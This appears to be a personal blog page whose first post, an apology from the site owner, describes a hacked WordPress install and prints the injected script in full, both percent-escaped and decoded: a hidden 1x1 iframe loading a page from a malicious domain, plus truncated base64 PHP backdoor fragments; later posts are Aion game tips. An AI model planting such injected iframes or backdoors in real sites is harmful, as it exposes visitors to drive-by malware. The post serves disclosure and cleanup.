Spring Cleaning – Of Hacked Files
Posted on March 3, 2010
Filed Under Misc, Rambling | 7 Comments
I do feel like I have to post an apology. Even though I try my best to try to stay virus free, apparently some still slip through. I recently decided I would upgrade the Wordpress version to a newer one, and ran into some difficulties/error messages and such. Like the Wordpress Dashboard reloading or getting redirected to some url like: iss9w8s89xx.org or something. I’m not sure how long ago the blog was compromised so my apologies to the visitors of the site.
After some searching I found the source, and cause of my problems. Apparently it was caused by using CoreFTP, and saving the password in that program which some virus on my computer managed to get into. Which then got access my Wordpress blog.
Especially noticeable was the code fragment which appeared on the bottom of every page:
script language=”javascript”>eval(unescape(“%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B”))</script>eval(unescape(“%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B”))</script
Which appeared at the bottom of every single page which after some searching around on the net converted into:
script language=”javascript”>eval(unescape(“document.write(‘<iframe src=”http://iss9w8s89xx.org/in.php” width=1 height=1 frameborder=0></iframe>’);”))</script>eval(unescape(“document.write(‘<iframe src=”http://iss9w8s89xx.org/in.php” width=1 height=1 frameborder=0></iframe>’);”))</script
I used a java unescape decoder to decode the script, if anyone was curious.
Oddly enough this code wasn’t in any of the files, but I later found out that many of the php files in my site had fragments of code like:
eval(base64_decode(“aWYoZnVuY3Rpb25fZXhpc3RzKCdvY
or
Y29kZSgkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1
etc
If anyone else runs into similar issues with their blogs go to:
http://www.google.com/support/forum/p/Webmasters/thread?tid=6f4cf473c414de1f&hl=en
For the solution on how to fix/clean your Wordpress blog of the hack/backdoor.
Some other useful links for me this time around was:
How to find a backdoor in a hacked WordPress
http://tools.tortoisesvn.net/grepWin – program I used to strip the code from my pages.
Anyways hopefully I managed to clear out all of the nasty scripts from the site, but if anyone notices anything abnormal send a message through my contact form.
Some parts of the site, or links may have become broken due to cleaning/stripping the malicious code so I would appreciate it, if you do notice it, to bring it up to me.

Aion – Leveling Fast Via Elite Mobs
Posted on November 6, 2009
Filed Under Aion, Aion Tips, Games, tips | 4 Comments
Leveling up in Aion to me seemed it was pretty fast, (Currently level 45). However the mindless grinding of the same normal mobs may get to some people. So the folks in the Ranger forums over at AionSource have put together a list of Elite Mob types that be done by 1-2 people for fast experience gains.
This list doesn’t need to be applied to just Rangers, but can be done by anyone who can kite, or find a partner to duo with. Here’s the link to the forum post, and happy hunting!

Aion Online – Making Gold/Kinah in Your Sleep
Posted on October 21, 2009
Filed Under Aion, Aion Tips, Games, tips | 5 Comments
Whenever I pick up a crafting profession in an mmorpg, I try to find a way to make a few extra gold to fund its progression. I found a cheap way to make gold with Leatherworking, Jewelycrafting in WoW, There’s always a way, and I’ve found mine in Aion Online. Please note that this method takes quite a bit of time so I only recommend this to be used when you have quite a bit of time off (ie before you go to bed/school/work etc). Anyways here’s my first ever Aion Guide on making Aion Kinah/Gold with Tailoring.

Aion Online – Cube Expansions
Posted on October 20, 2009
Filed Under Aion, Aion Tips, Games, Misc, tips | Leave a Comment
Well I was going to put up a post about how to expand your cube to a full 10 lines worth of space, but Zumbaro at Aion Insider has already posted one. So if you’re in need of more cubespace (aka inventory room). Head on over there to find out how to max it out. Only note worth mentioning is that the NPC Vindachinerk spawns at the Ruins of Roah location in between 1am-6am pretty much all the time. I’ve never seen him at the other locations personally, though this may just be bad luck on my part.
